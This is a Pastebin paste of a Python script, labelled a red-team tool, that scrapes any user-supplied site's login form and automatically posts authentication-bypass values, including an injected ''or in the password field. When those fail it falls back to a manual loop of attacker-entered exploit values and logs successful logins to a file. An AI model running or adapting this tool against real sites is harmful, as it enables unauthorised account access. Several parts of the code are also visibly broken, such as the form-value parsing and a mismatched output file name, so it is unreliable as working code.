xosski

Red team URL auto login script

Jan 1st, 2025
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.31 KB | None | 0 0
  1. import requests
  2. import re
  3. import os
  4.  
  5. def get_post_url(ng, site):
  6. """Extracts the post URL from the HTML response."""
  7. posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
  8. posturl = ""
  9. if posturl_matches:
  10. posturl = sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0]
  11.  
  12. if "action=\"http" in ng:
  13. post = re.search(r'action="([^"]*)"', ng).group(1)
  14. else:
  15. # Determine the base post URL structure
  16. if re.search(r"\.", site.split("/")[-1]):
  17. tmp = site.split("/")[-1]
  18. post = site.replace(tmp, "")
  19. else:
  20. post = "/".join(site.split("/")[:2]) + posturl
  21. return post
  22.  
  23.  
  24. def extract_form_values(ng):
  25. """Extracts form input fields and their current values."""
  26. value_matches = re.findall(r'(<input).*?(>)', ng)
  27. values = []
  28. for match in value_matches:
  29. name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
  30. if name_value:
  31. values.extend(name_value)
  32. return "&".join([f"{name}={val}" for name, val in values])
  33.  
  34.  
  35. def attempt_login(post, postdata):
  36. """Attempts to log in by sending a POST request."""
  37. try:
  38. response = requests.post(post, data=postdata)
  39. return response.text
  40. except requests.RequestException as e:
  41. print(f"[ERROR] Request failed: {e}")
  42. return None
  43.  
  44.  
  45. def bypass(target, exploits, list_xploit=None):
  46. """Attempts login bypass using a list of exploits."""
  47. print(f"\n[*] Starting {target}")
  48.  
  49. site = target.replace("http://", "").replace("https://", "")
  50. try:
  51. ng = requests.get(f"http://{site}").text
  52. except requests.RequestException as e:
  53. print(f"[ERROR] Failed to retrieve the page: {e}")
  54. return
  55.  
  56. post = get_post_url(ng, site)
  57. value = extract_form_values(ng)
  58.  
  59. # Get form parameters (limit to 2 parameters for simplicity)
  60. param_matches = sorted(set(re.findall(r'name="([^"]*)', ng)))
  61. param1 = param_matches[0] if param_matches else ""
  62. param2 = param_matches[1] if len(param_matches) > 1 else ""
  63.  
  64. for xploit in exploits:
  65. print(f"[INFO] Trying login with: {xploit}")
  66.  
  67. # Construct POST data
  68. if "@gmail" in xploit:
  69. postdata = f"{param1}={xploit}&{param2}=''or{value}"
  70. else:
  71. postdata = f"{param1}={xploit}&{param2}={xploit}{value}"
  72.  
  73. response_text = attempt_login(post, postdata)
  74.  
  75. # Check for common login failure error messages
  76. if response_text and re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|wrong|Invalid|error)", response_text):
  77. print(f"[INFO] Login failed with: {xploit}")
  78. print(f"Post data: {post} -d {postdata}\n")
  79. else:
  80. if xploit == "test" or not xploit:
  81. print("[INFO] Failed to get login\n")
  82. break
  83. success_message = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
  84. print(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
  85. with open("vuln.txt", "a") as f:
  86. f.write(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  87. print(f"\a[INFO] Login successful\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  88. break
  89. else:
  90. # Fallback for semi-manual exploit attempt
  91. print("[INFO] Automatic exploit failed. Attempting semi-manual method.")
  92. param1 = input("[INFO] Enter parameter name to try manually: ")
  93.  
  94. while True:
  95. xploit = input("\nEnter exploit value: ")
  96. if not xploit:
  97. print("[INFO] No exploit value entered, skipping...")
  98. break
  99.  
  100. print(f"Attempting to post to {post}")
  101. postdata = f"{param1}={xploit}{value}"
  102. response_text = attempt_login(post, postdata)
  103.  
  104. if response_text and re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|wrong|Invalid|error)", response_text):
  105. print(f"[INFO] Login failed with: {xploit}")
  106. print(f"Post data: {post} -d {postdata}\n")
  107. else:
  108. success_message = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
  109. print(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
  110. with open("vuln.txt", "a") as f:
  111. f.write(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  112. print(f"\a[INFO] Login successful\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  113. break
  114.  
  115. print("[INFO] Exploit attempt complete")
  116.  
  117.  
  118. if __name__ == "__main__":
  119. target = input("Enter target URL: ")
  120. exploits = ["[email protected]", "[email protected]", "test"] # Example exploits
  121. list_xploit = None # You can specify a path to an exploit file if needed
  122. bypass(target, exploits, list_xploit)
Advertisement
Add Comment
Please, Sign In to add comment